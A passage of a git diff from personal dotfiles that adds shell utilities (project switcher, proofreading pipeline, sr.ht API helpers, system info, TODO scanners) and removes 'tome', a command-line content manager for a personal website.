portfind --free [start]"; exit 1; } + echo "=== TCP ===" + ss -tlnp "sport = :$port" 2>/dev/null + echo "=== UDP ===" + ss -ulnp "sport = :$port" 2>/dev/null +fi diff --git a/.local/bin/proj b/.local/bin/proj new file mode 100755 index 0000000000000000000000000000000000000000..f2769d36b11667a5ab1a6efdc4007478dc381ace --- /dev/null +++ b/.local/bin/proj @@ -0,0 +1,27 @@ +#!/bin/sh +# proj -- fuzzy project switcher for ~/dev +# Usage: proj [query] +# Requires: fzf, eza + +DEV_DIR="$HOME/dev" + +if [ -n "$1" ]; then + # direct match + target="$DEV_DIR/$1" + if [ -d "$target" ]; then + cd "$target" + echo "$target" + exit 0 + fi +fi + +# fuzzy select +dir=$(find "$DEV_DIR" -maxdepth 1 -type d | sort | + sed "s|$DEV_DIR/||" | tail -n +2 | + fzf --preview "eza --tree --icons --level=2 --color=always $DEV_DIR/{}" \ + --preview-window 'right:50%' \ + --query "${1:-}") + +if [ -n "$dir" ]; then + echo "$DEV_DIR/$dir" +fi diff --git a/.local/bin/proofread b/.local/bin/proofread new file mode 100755 index 0000000000000000000000000000000000000000..c772b045ba8bf1aaa617411f2542dff3f7841b85 --- /dev/null +++ b/.local/bin/proofread @@ -0,0 +1,33 @@ +#!/usr/bin/env bash +# proofread -- full proofreading pipeline +set -euo pipefail +file="${1:?Usage: proofread <file>}" + +echo "========== SPELLING ==========" +cat "$file" | aspell list --lang=en --mode=markdown 2>/dev/null | sort -u || true + +echo "" +echo "========== PASSIVE VOICE ==========" +egrep -n -i --color=always \ + "\b(am|are|were|being|is|been|was|be)\b[ ]*(\w+ed)\b" "$file" || true + +echo "" +echo "========== WEASEL WORDS ==========" +egrep -n -i --color=always \ + "\b(many|various|very|fairly|several|extremely|quite|remarkably|few|surprisingly|mostly|largely|clearly|relatively|completely|significantly|substantially)\b" "$file" || true + +echo "" +echo "========== REPEATED WORDS ==========" +perl -ne 'while (/\b(\w+)\s+\1\b/gi) { print "$ARGV:$.: $1 $1\n"; }' "$file" || true + +echo "" +echo "========== LONG SENTENCES (>35 words) ==========" +awk 'BEGIN{RS="[.!?]"; n=0}{gsub(/\n/," "); wc=split($0,w," "); n++; if(wc>35) printf "Sentence %d (%d words)\n", n, wc}' "$file" || true + +echo "" +echo "========== STATS ==========" +words=$(wc -w < "$file") +sentences=$(grep -o '[.!?]' "$file" | wc -l) +[ "$sentences" -eq 0 ] && sentences=1 +avg=$(( words / sentences )) +echo "Words: $words | Sentences: $sentences | Avg words/sentence: $avg" diff --git a/.local/bin/senlen b/.local/bin/senlen new file mode 100755 index 0000000000000000000000000000000000000000..7b24c71561823251baba6ff25fe44a2246839cdf --- /dev/null +++ b/.local/bin/senlen @@ -0,0 +1,16 @@ +#!/usr/bin/env bash +# senlen -- flag sentences over N words +threshold="${2:-30}" +file="${1:?Usage: senlen <file> [max-words]}" +awk -v t="$threshold" ' +BEGIN { RS = "[.!?]"; n = 0 } +{ + gsub(/\n/, " "); + wc = split($0, words, " "); + n++; + if (wc > t) { + printf "Sentence %d (%d words): %.80s...\n", n, wc, $0; + } +} +END { printf "\nTotal sentences: %d\n", n } +' "$file" diff --git a/.local/bin/srht-build b/.local/bin/srht-build new file mode 100755 index 0000000000000000000000000000000000000000..dabba681c3e50f761c78fec7a0fa411e18fcf7e8 --- /dev/null +++ b/.local/bin/srht-build @@ -0,0 +1,25 @@ +#!/bin/sh +# srht-build -- submit a sr.ht build manifest and follow output +set -eu + +MANIFEST="${1:-.build.yml}" + +if [ ! -f "$MANIFEST" ]; then + echo "No manifest found: $MANIFEST" >&2 + exit 1 +fi + +if command -v hut >/dev/null 2>&1; then + exec hut builds submit -f "$MANIFEST" +fi + +# Fallback to curl +TOKEN=$(cat ~/.config/srht/token) +CONTENT=$(python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" < "$MANIFEST") + +RESULT=$(curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d "{\"query\": \"mutation(\$m: String!) { submit(manifest: \$m) { id status } }\", \"variables\": {\"manifest\": $CONTENT}}" \ + https://builds.sr.ht/query) + +JOB_ID=$(echo "$RESULT" | jq -r '.data.submit.id') +echo "[+] Submitted: https://builds.sr.ht/~krisyotam/job/$JOB_ID" diff --git a/.local/bin/srht-deploy b/.local/bin/srht-deploy new file mode 100755 index 0000000000000000000000000000000000000000..489244501f61e5b5824c4d72d9a7ac8d2d56a958 --- /dev/null +++ b/.local/bin/srht-deploy @@ -0,0 +1,32 @@ +#!/bin/sh +# srht-deploy -- deploy a directory to sr.ht pages +set -eu + +if [ -z "${1:-}" ] || [ -z "${2:-}" ]; then + echo "Usage: srht-deploy <domain> <directory>" >&2 + exit 1 +fi + +DOMAIN="$1" +DIR="$2" + +if [ ! -d "$DIR" ]; then + echo "Not a directory: $DIR" >&2 + exit 1 +fi + +TMPFILE=$(mktemp /tmp/srht-deploy-XXXXXX.tar.gz) +trap 'rm -f "$TMPFILE"' EXIT + +tar -C "$DIR" -czf "$TMPFILE" . + +if command -v hut >/dev/null 2>&1; then + hut pages publish -d "$DOMAIN" "$TMPFILE" +else + TOKEN=$(cat ~/.config/srht/token) + curl -s --oauth2-bearer "$TOKEN" \ + -F "content=@$TMPFILE" \ + "https://pages.sr.ht/publish/$DOMAIN" +fi + +echo "[+] Published to $DOMAIN" diff --git a/.local/bin/srht-mirror b/.local/bin/srht-mirror new file mode 100755 index 0000000000000000000000000000000000000000..ec93e5baac48ac8e566abee04bfcf197fc2cecc8 --- /dev/null +++ b/.local/bin/srht-mirror @@ -0,0 +1,24 @@ +#!/bin/sh +# srht-mirror -- import a GitHub repo to sr.ht +set -eu + +if [ -z "${1:-}" ]; then + echo "Usage: srht-mirror <github-url-or-user/repo> [srht-name]" >&2 + exit 1 +fi + +GITHUB="$1" +case "$GITHUB" in + https://*) URL="$GITHUB" ;; + *) URL="https://github.com/$GITHUB" ;; +esac + +NAME="${2:-$(basename "$URL" .git)}" +TOKEN=$(cat ~/.config/srht/token) + +echo "[*] Importing $URL as $NAME..." +curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d "{\"query\": \"mutation { createRepository(name: \\\"$NAME\\\", visibility: PUBLIC, cloneUrl: \\\"$URL\\\") { id name } }\"}" \ + https://git.sr.ht/query | jq -r '.data.createRepository | " \(.name) (id: \(.id))"' + +echo "[+] Done: https://git.sr.ht/~krisyotam/$NAME" diff --git a/.local/bin/srht-new b/.local/bin/srht-new new file mode 100755 index 0000000000000000000000000000000000000000..209c0acf5d0c80533d67557f310ea06232ec5cad --- /dev/null +++ b/.local/bin/srht-new @@ -0,0 +1,24 @@ +#!/bin/sh +# srht-new -- create a new sr.ht project (repo + optional tracker + list) +set -eu + +if [ -z "${1:-}" ]; then + echo "Usage: srht-new <name> [description]" >&2 + exit 1 +fi + +NAME="$1" +DESC="${2:-$NAME}" +TOKEN=$(cat ~/.config/srht/token) + +echo "[*] Creating repo: $NAME" +curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d "{\"query\": \"mutation { createRepository(name: \\\"$NAME\\\", visibility: PRIVATE, description: \\\"$DESC\\\") { id name } }\"}" \ + https://git.sr.ht/query | jq -r '.data.createRepository | " id: \(.id), name: \(.name)"' + +echo "[*] Creating tracker: $NAME" +curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d "{\"query\": \"mutation { createTracker(name: \\\"$NAME\\\", visibility: PRIVATE) { id name } }\"}" \ + https://todo.sr.ht/query | jq -r '.data.createTracker | " id: \(.id), name: \(.name)"' + +echo "[+] Done. Clone: git clone git@git.sr.ht:~krisyotam/$NAME" diff --git a/.local/bin/srht-repos b/.local/bin/srht-repos new file mode 100755 index 0000000000000000000000000000000000000000..39a45f8fdd92c828234f3ed13ebdc0e6f8459f8b --- /dev/null +++ b/.local/bin/srht-repos @@ -0,0 +1,9 @@ +#!/bin/sh +# srht-repos -- list all sr.ht repositories +set -eu + +TOKEN=$(cat ~/.config/srht/token) + +curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d '{"query": "{ me { repositories { results { name visibility description updated } cursor } } }"}' \ + https://git.sr.ht/query | jq -r '.data.me.repositories.results[] | "\(.name)\t\(.visibility)\t\(.description // "")"' | column -t diff --git a/.local/bin/srht-ticket b/.local/bin/srht-ticket new file mode 100755 index 0000000000000000000000000000000000000000..7e00ec5a67702d192aea7ab9c6d67c48886add8b --- /dev/null +++ b/.local/bin/srht-ticket @@ -0,0 +1,29 @@ +#!/bin/sh +# srht-ticket -- create a sr.ht ticket +set -eu + +if [ -z "${1:-}" ] || [ -z "${2:-}" ]; then + echo "Usage: srht-ticket <tracker> <subject> [body]" >&2 + exit 1 +fi + +TRACKER="$1" +SUBJECT="$2" +BODY="${3:-$SUBJECT}" + +if command -v hut >/dev/null 2>&1; then + echo "$BODY" | hut todo ticket create -t "$TRACKER" --stdin +else + TOKEN=$(cat ~/.config/srht/token) + SUBJECT_ESC=$(echo "$SUBJECT" | sed 's/"/\\"/g') + BODY_ESC=$(echo "$BODY" | sed 's/"/\\"/g') + + # First get tracker ID + TRACKER_ID=$(curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d "{\"query\": \"{ me { tracker(name: \\\"$TRACKER\\\") { id } } }\"}" \ + https://todo.sr.ht/query | jq -r '.data.me.tracker.id') + + curl -s --oauth2-bearer "$TOKEN" -H 'Content-Type: application/json' \ + -d "{\"query\": \"mutation { submitTicket(trackerId: $TRACKER_ID, input: {subject: \\\"$SUBJECT_ESC\\\", body: \\\"$BODY_ESC\\\"}) { id ref subject } }\"}" \ + https://todo.sr.ht/query | jq -r '.data.submitTicket | "#\(.ref): \(.subject)"' +fi diff --git a/.local/bin/sysinfo b/.local/bin/sysinfo new file mode 100755 index 0000000000000000000000000000000000000000..e77b144189e3998dd0395d2104e04ddd9bdd6232 --- /dev/null +++ b/.local/bin/sysinfo @@ -0,0 +1,22 @@ +#!/bin/sh +# sysinfo -- quick system overview +set -eu + +printf "%-12s %s\n" "Hostname:" "$(hostname)" +printf "%-12s %s\n" "Kernel:" "$(uname -r)" +printf "%-12s %s\n" "Uptime:" "$(uptime -p 2>/dev/null || uptime | awk '{print $3,$4}')" +printf "%-12s %s cores\n" "CPU:" "$(nproc)" +printf "%-12s %s\n" "Memory:" "$(free -h | awk '/Mem:/ {print $3 "/" $2}')" +printf "%-12s %s\n" "Disk /:" "$(df -h / | awk 'NR==2 {print $3 "/" $2 " (" $5 ")"}')" +printf "%-12s %s\n" "Load:" "$(cut -d' ' -f1-3 /proc/loadavg 2>/dev/null || sysctl -n vm.loadavg 2>/dev/null || echo 'N/A')" + +# Network +if command -v ip >/dev/null 2>&1; then + printf "%-12s %s\n" "IP:" "$(ip route get 1.1.1.1 2>/dev/null | awk '{print $7; exit}')" +fi + +# Tailscale +if command -v tailscale >/dev/null 2>&1; then + tsip=$(tailscale ip -4 2>/dev/null || echo "not connected") + printf "%-12s %s\n" "Tailscale:" "$tsip" +fi diff --git a/.local/bin/system/sysact b/.local/bin/system/sysact index c84a1d73ce90c836428ba3e3beb0d56207681dfa..690aafb495a6ebc9ecb2c7957bd70b0e9d60704e 100755 --- a/.local/bin/system/sysact +++ b/.local/bin/system/sysact @@ -26,10 +26,10 @@ lock(){ case "$(printf "󰌾 lock\n󰶐 display off\n󰤄 sleep\n󰍃 leave $WM\n󰑐 renew $WM\n󰒲 hibernate\n󰜉 reboot\n󰐥 shutdown" | dmenu -i -l 8 -p 'Action: ')" in '󰌾 lock') lock ;; '󰶐 display off') xset dpms force off ;; - '󰤄 sleep') slock $ctl suspend -i ;; + '󰤄 sleep') $ctl suspend -i ;; "󰍃 leave $WM") kill -TERM "$(wmpid)" ;; "󰑐 renew $WM") kill -HUP "$(wmpid)" ;; - '󰒲 hibernate') slock $ctl hibernate -i ;; + '󰒲 hibernate') $ctl hibernate -i ;; '󰜉 reboot') $ctl reboot -i ;; '󰐥 shutdown') $ctl poweroff -i ;; *) exit 1 ;; diff --git a/.local/bin/tkcheck b/.local/bin/tkcheck new file mode 100755 index 0000000000000000000000000000000000000000..d8d21e119cb88c5f7392a06cbe4a689bf0daffc4 --- /dev/null +++ b/.local/bin/tkcheck @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +# tkcheck -- find TK/TODO/XXX/FIXME/TBD markers across a project +set -euo pipefail + +target="${1:-.}" +pattern='\bTK\b|TODO|XXX|FIXME|\bTBD\b|\bNOTE\b|\bHACK\b' + +echo "Scanning for markers in: $target" +echo "" + +if [ -f "$target" ]; then + grep -n -E --color=always "$pattern" "$target" || echo "No markers found." +else + results=$(grep -rn -E --color=always "$pattern" "$target" \ + --include='*.md' --include='*.mdx' --include='*.txt' \ + --include='*.tex' --include='*.rst' 2>/dev/null) || true + if [ -n "$results" ]; then + echo "$results" + echo "" + count=$(echo "$results" | wc -l) + echo "$count marker(s) found." + else + echo "No markers found." + fi +fi diff --git a/.local/bin/todo b/.local/bin/todo new file mode 100755 index 0000000000000000000000000000000000000000..da26e1cd43e04d1ef8c813b6a992dde729dfd46c --- /dev/null +++ b/.local/bin/todo @@ -0,0 +1,11 @@ +#!/bin/sh +# todo -- find TODO/FIXME/HACK/XXX comments in codebase +# Usage: todo [path] +# todo src/ + +dir="${1:-.}" +rg --no-heading --line-number --color=always \ + '(TODO|FIXME|HACK|XXX|BUG|OPTIMIZE|NOTE):?\s' "$dir" \ + --glob '!node_modules' --glob '!.git' --glob '!vendor' \ + --glob '!build' --glob '!dist' --glob '!target' 2>/dev/null | + sort diff --git a/.local/bin/tome b/.local/bin/tome deleted file mode 100755 index cae389608b36866d918435b7d9eabbc7df5cfd96..0000000000000000000000000000000000000000 --- a/.local/bin/tome +++ /dev/null @@ -1,1068 +0,0 @@ -#!/usr/bin/env bash -set -euo pipefail - -############################################################################### -# TOME -- Content manager for krisyotam.com -# -# Maintainer: Kris Yotam <krisyotam@pm.me> -# License: MIT -# Created: 2026-05-18 -# Description: Unified content creator, editor, and metadata manager. -# Three actions (create, edit, data) with two interfaces -# (nnn/fzf TUI or dmenu). -# -# Usage: -# tome -nnn -create Create new content entry (TUI) -# tome -dmenu -create Create new content entry (dmenu) -# tome -nnn -edit Browse content, open in write (TUI) -# tome -dmenu -edit Browse content, open in write (dmenu) -# tome -nnn -data Edit content metadata (TUI) -# tome -dmenu -data Edit content metadata (dmenu) -############################################################################### - -############################################################################### -# config -############################################################################### - -DB="$HOME/dev/krisyotam.com/data/content.db" -CONTENT_DIR="$HOME/.corpus/content" -TIL_DIR="$HOME/.corpus/til" - -# Menu entries (order matters -- displayed as-is) -# Indented entries are news publications -MENU_ENTRIES=( - "papers" - "essays" - "blog" - "diary" - "reviews" - "verse" - "news" - " the-soapbox" - " field-notes" - " off-the-record" - "til" - "fiction" - "ocs" - "prayers" - "progymnasmata" -) - -# Types that are actual content directories -ALL_TYPES=(papers essays blog diary reviews verse news til fiction ocs prayers progymnasmata) - -# News publications -NEWS_PUBS=("the-soapbox" "field-notes" "off-the-record") - -# Diary has no status/confidence/importance columns -DIARY_FIELDS=(title preview category_slug state) -STANDARD_FIELDS=(title preview category_slug status confidence importance state) - -VALID_STATUSES=("Notes" "Draft" "In Progress" "Finished" "Abandoned") -VALID_CONFIDENCES=( - "certain" "highly likely" "likely" "possible" - "unlikely" "highly unlikely" "remote" "impossible" -) -VALID_STATES=("active" "hidden") - -# nerd font icon map -declare -A TYPE_ICONS=( - [papers]="󰈙" [essays]="󰬝" [blog]="󰬞" - [diary]="󰃮" [reviews]="󰓥" [verse]="󱗝" - [news]="󰎕" [fiction]="󰂺" [ocs]="󰏫" - [prayers]="󰥍" [progymnasmata]="󰑴" [til]="󰛄" - [the-soapbox]="󰎕" [field-notes]="󰎕" [off-the-record]="󰎕" -) - -############################################################################### -# helpers -############################################################################### - -have_cmd() { command -v "$1" >/dev/null 2>&1; } -die() { echo "ERROR: $1" >&2; exit 1; } -sql() { sqlite3 "$DB" "$1"; } -notify() { notify-send "tome" "$1" 2>/dev/null || true; } - -slugify() { - echo "$1" | - tr '[:upper:]' '[:lower:]' | - sed 's/[^a-z0-9 -]//g' | - sed 's/ */ /g; s/ /-/g; s/--*/-/g; s/^-//; s/-$//' -} - -check_slug_globally() { - local slug="$1" - for dir in "$CONTENT_DIR"/*/; do - [ -d "$dir" ] || continue - if [ -f "$dir/${slug}.mdx" ]; then - echo "$(basename "$dir"):${slug}.mdx" - return - fi - done - # Also check til - for subdir in "$TIL_DIR"/*/; do - [ -d "$subdir" ] || continue - if [ -f "$subdir/${slug}.mdx" ]; then - echo "til/$(basename "$subdir"):${slug}.mdx" - return - fi - done -} - -# Get content directory for a type (or news publication) -content_dir_for() { - local selection="$1" - case "$selection" in - the-soapbox|field-notes|off-the-record) - echo "$CONTENT_DIR/news" - ;; - til) - echo "$TIL_DIR" - ;; - *) - echo "$CONTENT_DIR/$selection" - ;; - esac -} - -# Resolve a menu selection to its content type (for DB operations) -db_type_for() { - local selection="$1" - case "$selection" in - the-soapbox|field-notes|off-the-record) echo "news" ;; - *) echo "$selection" ;; - esac -} - -today() { date +%Y-%m-%d; } - -############################################################################### -# argument parsing -############################################################################### - -UI_MODE="" -ACTION_MODE="" - -for arg in "$@"; do - case "$arg" in - -nnn) UI_MODE="nnn" ;; - -dmenu) UI_MODE="dmenu" ;; - -create) ACTION_MODE="create" ;; - -edit) ACTION_MODE="edit" ;; - -data) ACTION_MODE="data" ;; - *) - echo "Unknown flag: $arg" >&2 - echo "Usage: tome -nnn|-dmenu -create|-edit|-data" >&2 - exit 1 - ;; - esac -done - -if [[ -z "$UI_MODE" || -z "$ACTION_MODE" ]]; then - echo "Usage: tome -nnn|-dmenu -create|-edit|-data" >&2 - exit 1 -fi - -############################################################################### -# dependency checks -############################################################################### - -check_deps_nnn() { - have_cmd fzf || die "fzf not found" - have_cmd nnn || die "nnn not found" -} - -check_deps_dmenu() { - have_cmd dmenu || die "dmenu not found" -} - -check_deps_data() { - have_cmd sqlite3 || die "sqlite3 not found" - [[ -f "$DB" ]] || die "content.db not found at $DB" -} - -############################################################################### -# menu rendering -############################################################################### - -# Build the fzf menu string -fzf_menu() { - for entry in "${MENU_ENTRIES[@]}"; do - echo "$entry" - done - echo "quit" -} - -# Build the dmenu menu string (with icons) -dmenu_menu() { - for entry in "${MENU_ENTRIES[@]}"; do - local trimmed="${entry## }" - local indent="${entry%%[! ]*}" - local icon="${TYPE_ICONS[$trimmed]:-󰈙}" - echo "${indent}${icon} ${trimmed}" - done -} - -# Parse a menu selection back to a clean type/publication name -parse_selection() { - echo "$1" | sed 's/^[[:space:]]*//' | sed 's/^[^ ]* *//' -} - -############################################################################### -# banners -############################################################################### - -print_banner_main() { - local cols - cols="$(tput cols 2>/dev/null || echo 80)" - - if have_cmd figlet; then - figlet -w "$cols" -f big "KRISYOTAM.COM" 2>/dev/null \ - || figlet -w "$cols" "KRISYOTAM.COM" - else - echo "KRISYOTAM.COM" - fi - - echo - echo " est. 2025" - echo " author: Kris Yotam" - echo " script: tome" - echo - echo " \"Do I contradict myself? Very well then I contradict myself," - echo " (I am large, I contain multitudes.)\"" - echo " -- Walt Whitman" - echo -} - -print_banner_data() { - local cols - cols="$(tput cols 2>/dev/null || echo 80)" - - if have_cmd figlet; then - figlet -w "$cols" -f big "DATA" 2>/dev/null \ - || figlet -w "$cols" "DATA" - else - echo "=== DATA ===" - fi - - echo - echo " Content metadata editor for krisyotam.com" - echo -} - -############################################################################### -# create: write frontmatter + .mdx file (pure shell) -############################################################################### - -# Collect metadata and write the .mdx file -write_new_entry() { - local selection="$1" - local type - type="$(db_type_for "$selection")" - local target_dir - target_dir="$(content_dir_for "$selection")" - - mkdir -p "$target_dir" - - # For news publications browsing into subdirectory is not needed - # since all news lives flat in content/news/ - - local title slug preview category status confidence importance - local verse_type="" prayer_type="" form="" publication="" - - # Title - if [[ "$UI_MODE" == "dmenu" ]]; then - title="$(echo "" | dmenu -p "title:")" - else - read -rp " Title: " title - fi - [[ -z "$title" ]] && return - - # Slug - slug="$(slugify "$title")" - local collision - collision="$(check_slug_globally "$slug")" - if [[ -n "$collision" ]]; then - if [[ "$UI_MODE" == "dmenu" ]]; then - notify "Slug collision: $slug ($collision)" - slug="$(echo "$slug" | dmenu -p "collision! alt slug:")" - else - echo " Slug collision: $slug ($collision)" - read -rp " Alt slug: " slug - fi - [[ -z "$slug" ]] && return - slug="$(slugify "$slug")" - collision="$(check_slug_globally "$slug")" - if [[ -n "$collision" ]]; then - if [[ "$UI_MODE" == "dmenu" ]]; then - notify "Still colliding: $slug. Aborting." - else - echo " Still colliding: $slug. Aborting." - fi - return - fi - fi - - # Preview - if [[ "$UI_MODE" == "dmenu" ]]; then - preview="$(echo "" | dmenu -p "preview:")" - else - read -rp " Preview: " preview - fi - - # Category - check_deps_data - if [[ "$UI_MODE" == "dmenu" ]]; then - category="$(sql "SELECT slug FROM categories ORDER BY slug" | dmenu -i -l 20 -p "category:")" - else - category="$(sql "SELECT slug FROM categories ORDER BY slug" | fzf --prompt="category> " --height=20 --reverse)" || category="" - fi - [[ -z "$category" ]] && return - - # Status (skip for diary) - if [[ "$type" == "diary" ]]; then - status="" confidence="" importance="" - else - if [[ "$UI_MODE" == "dmenu" ]]; then - status="$(printf "%s\n" "${VALID_STATUSES[@]}" | dmenu -i -l 5 -p "status:")" - confidence="$(printf "%s\n" "${VALID_CONFIDENCES[@]}" | dmenu -i -l 8 -p "confidence:")" - importance="$(seq 1 10 | dmenu -i -l 10 -p "importance:")" - else - status="$(printf "%s\n" "${VALID_STATUSES[@]}" | fzf --prompt="status> " --height=8 --reverse)" || status="Draft" - confidence="$(printf "%s\n" "${VALID_CONFIDENCES[@]}" | fzf --prompt="confidence> " --height=10 --reverse)" || confidence="possible" - read -rp " Importance (1-10): " importance - fi - [[ -z "$status" ]] && status="Draft" - [[ -z "$confidence" ]] && confidence="possible" - [[ -z "$importance" ]] && importance="5" - fi - - # Type-specific fields - case "$type" in - verse) - if [[ "$UI_MODE" == "dmenu" ]]; then - verse_type="$(printf 'haiku\nsonnet\nfree-verse\node\nlimerick\nvillanelle\nother' | dmenu -i -l 7 -p "verse type:")" - else - verse_type="$(printf 'haiku\nsonnet\nfree-verse\node\nlimerick\nvillanelle\nother' | fzf --prompt="verse type> " --height=10 --reverse)" || verse_type="" - fi - ;; - prayers) - if [[ "$UI_MODE" == "dmenu" ]]; then - prayer_type="$(echo "" | dmenu -p "prayer type:")" - form="$(echo "" | dmenu -p "form:")" - else - read -rp " Prayer type: " prayer_type - read -rp " Form: " form - fi - ;; - news) - # Publication is determined by the menu selection - case "$selection" in - the-soapbox|field-notes|off-the-record) - publication="$selection" - ;; - news) - # Selected the parent "news" -- ask which publication - if [[ "$UI_MODE" == "dmenu" ]]; then - publication="$(printf '%s\n' "${NEWS_PUBS[@]}" | dmenu -i -l 3 -p "publication:")" - else - publication="$(printf '%s\n' "${NEWS_PUBS[@]}" | fzf --prompt="publication> " --height=5 --reverse)" || publication="the-soapbox" - fi - [[ -z "$publication" ]] && publication="the-soapbox" - ;; - esac - ;; - esac - - # Tags - local tags="" - if [[ "$UI_MODE" == "dmenu" ]]; then - # Collect up to 5 tags - local tag_list=() - for _ in 1 2 3 4 5; do - local tag - tag="$(sql "SELECT slug FROM tags ORDER BY slug" | dmenu -i -l 20 -p "tag (empty=done):")" || break - [[ -z "$tag" ]] && break - tag_list+=("$tag") - done - tags="$(printf '%s\n' "${tag_list[@]}" 2>/dev/null | paste -sd',' -)" - else - echo " Tags (comma-separated, or empty):" - read -rp " > " tags - fi - - # Build the .mdx file - local target_file="$target_dir/${slug}.mdx" - local date - date="$(today)" - - { - echo "---" - echo "title: \"$title\"" - echo "slug: $slug" - echo "type: $type" - echo "category: $category" - echo "start_date: '$date'" - echo "end_date: ''" - echo "state: active" - [[ -n "$preview" ]] && echo "preview: \"$preview\"" - - if [[ "$type" != "diary" ]]; then - echo "status: $status" - echo "confidence: $confidence" - echo "importance: $importance" - fi - - # Type-specific fields - [[ -n "$verse_type" ]] && echo "verse_type: $verse_type" - [[ -n "$prayer_type" ]] && echo "prayer_type: $prayer_type" - [[ -n "$form" ]] && echo "form: $form" - [[ -n "$publication" ]] && echo "publication: $publication" - - # Tags as inline YAML array - if [[ -n "$tags" ]]; then - local tag_arr - tag_arr="$(echo "$tags" | tr ',' '\n' | sed 's/^[[:space:]]*//;s/[[:space:]]*$//' | awk '{printf "%s\"%s\"", (NR>1 ? ", " : ""), $0}')" - echo "tags: [$tag_arr]" - else - echo "tags: []" - fi - - echo "---" - echo "" - } > "$target_file" - - if [[ "$UI_MODE" == "dmenu" ]]; then - notify "Created: $title ($slug)" - # Open in write - write "$target_file" & - disown - else - echo - echo " Created: $target_file" - echo - read -rp " Open in write? [Y/n] " yn - case "$yn" in - n|N) ;; - *) write "$target_file" ;; - esac - fi -} - -############################################################################### -# mode: -nnn -create -############################################################################### - -run_nnn_create() { - check_deps_nnn - - clear - print_banner_main - - local selection - selection="$(fzf_menu | fzf --prompt="create> " --height=20 --reverse)" || exit 0 - - [[ "$selection" == "quit" ]] && exit 0 - - # Trim whitespace (for indented news publications) - selection="${selection## }" - - # If they selected "news" (parent), let them pick publication or create generic - write_new_entry "$selection" -} - -############################################################################### -# mode: -dmenu -create -############################################################################### - -run_dmenu_create() { - check_deps_dmenu - - local raw - raw="$(dmenu_menu | dmenu -i -l 16 -p "create:")" - [[ -z "$raw" ]] && exit 0 - - local selection - selection="$(parse_selection "$raw")" - [[ -z "$selection" ]] && exit 0 - - write_new_entry "$selection" -} - -############################################################################### -# mode: -nnn -edit (browse and open existing content in write) -############################################################################### - -run_nnn_edit() { - check_deps_nnn - - local nnn_write_helper="$HOME/.local/bin/nnn-write" - [[ ! -x "$nnn_write_helper" ]] && die "nnn-write helper not found at $nnn_write_helper" - - clear - print_banner_main - - while true; do - local selection - selection="$(fzf_menu | fzf --prompt="edit> " --height=20 --reverse)" || exit 0 - - [[ "$selection" == "quit" ]] && exit 0 - - selection="${selection## }" - local target_dir - target_dir="$(content_dir_for "$selection")" - - if [[ ! -d "$target_dir" ]]; then - echo "Directory not found: $target_dir" - read -rp "Press Enter..." _ - continue - fi - - # For news publications, filter to only show matching files - case "$selection" in - the-soapbox|field-notes|off-the-record) - # Show only files matching this publication - local tmpdir - tmpdir="$(mktemp -d)" - # Symlink matching files into tmpdir for nnn browsing - for f in "$target_dir"/*.mdx; do - [[ -f "$f" ]] || continue - if grep -q "^publication: $selection" "$f" 2>/dev/null; then - ln -s "$f" "$tmpdir/$(basename "$f")" - fi - done - NNN_OPENER="$nnn_write_helper" \ - NNN_FALLBACK_OPENER="${NNN_OPENER:-xdg-open}" \ - nnn "$tmpdir" - rm -rf "$tmpdir" - ;; - til) - # TIL has subdirectories - NNN_OPENER="$nnn_write_helper" \ - NNN_FALLBACK_OPENER="${NNN_OPENER:-xdg-open}" \ - nnn "$target_dir" - ;; - *) - NNN_OPENER="$nnn_write_helper" \ - NNN_FALLBACK_OPENER="${NNN_OPENER:-xdg-open}" \ - nnn "$target_dir" - ;; - esac - - clear - print_banner_main - done -} - -############################################################################### -# mode: -dmenu -edit -############################################################################### - -run_dmenu_edit() { - check_deps_dmenu - - local raw - raw="$(dmenu_menu | dmenu -i -l 16 -p "edit:")" - [[ -z "$raw" ]] && exit 0 - - local selection - selection="$(parse_selection "$raw")" - [[ -z "$selection" ]] && exit 0 - - local target_dir - target_dir="$(content_dir_for "$selection")" - [[ ! -d "$target_dir" ]] && { notify "Directory not found: $target_dir"; exit 1; } - - local file - - case "$selection" in - the-soapbox|field-notes|off-the-record) - # Filter news files by publication - file="$( - for f in "$target_dir"/*.mdx; do - [[ -f "$f" ]] || continue - if grep -q "^publication: $selection" "$f" 2>/dev/null; then - basename "$f" .mdx - fi - done | sort | dmenu -i -l 20 -p "$selection:" - )" - [[ -z "$file" ]] && exit 0 - write "$target_dir/$file.mdx" - ;; - til) - # TIL has subdirs -- first pick subdir, then file - local subdir - subdir="$(ls "$target_dir" | dmenu -i -l 10 -p "til topic:")" - [[ -z "$subdir" ]] && exit 0 - file="$(ls "$target_dir/$subdir"/*.mdx 2>/dev/null | xargs -I{} basename {} .mdx | sort | dmenu -i -l 20 -p "$subdir:")" - [[ -z "$file" ]] && exit 0 - write "$target_dir/$subdir/$file.mdx" - ;; - *) - file="$( - ls "$target_dir"/*.mdx 2>/dev/null | - xargs -I{} basename {} .mdx | - sort | - dmenu -i -l 20 -p "$selection:" - )" - [[ -z "$file" ]] && exit 0 - write "$target_dir/$file.mdx" - ;; - esac -} - -############################################################################### -# metadata display (for -data mode) -############################################################################### - -show_metadata() { - local type="$1" slug="$2" - - local title preview category state tags id - - title="$(sql "SELECT title FROM $type WHERE slug='$slug'")" - preview="$(sql "SELECT preview FROM $type WHERE slug='$slug'")" - category="$(sql "SELECT category_slug FROM $type WHERE slug='$slug'")" - state="$(sql "SELECT state FROM $type WHERE slug='$slug'")" - - id="$(sql "SELECT id FROM $type WHERE slug='$slug'")" - tags="$(sql "SELECT t.slug FROM tags t JOIN content_tags ct ON ct.tag_id = t.id WHERE ct.content_type = '$type' AND ct.content_id = $id ORDER BY t.slug" | paste -sd', ' -)" - - echo - echo " ┌─ $slug ─────────────────────────────────" - printf " │ %-14s %s\n" "Title:" "$title" - printf " │ %-14s %s\n" "Preview:" "${preview:0:60}" - printf " │ %-14s %s\n" "Category:" "$category" - printf " │ %-14s %s\n" "Tags:" "$tags" - - if [[ "$type" != "diary" ]]; then - local status confidence importance - status="$(sql "SELECT status FROM $type WHERE slug='$slug'")" - confidence="$(sql "SELECT confidence FROM $type WHERE 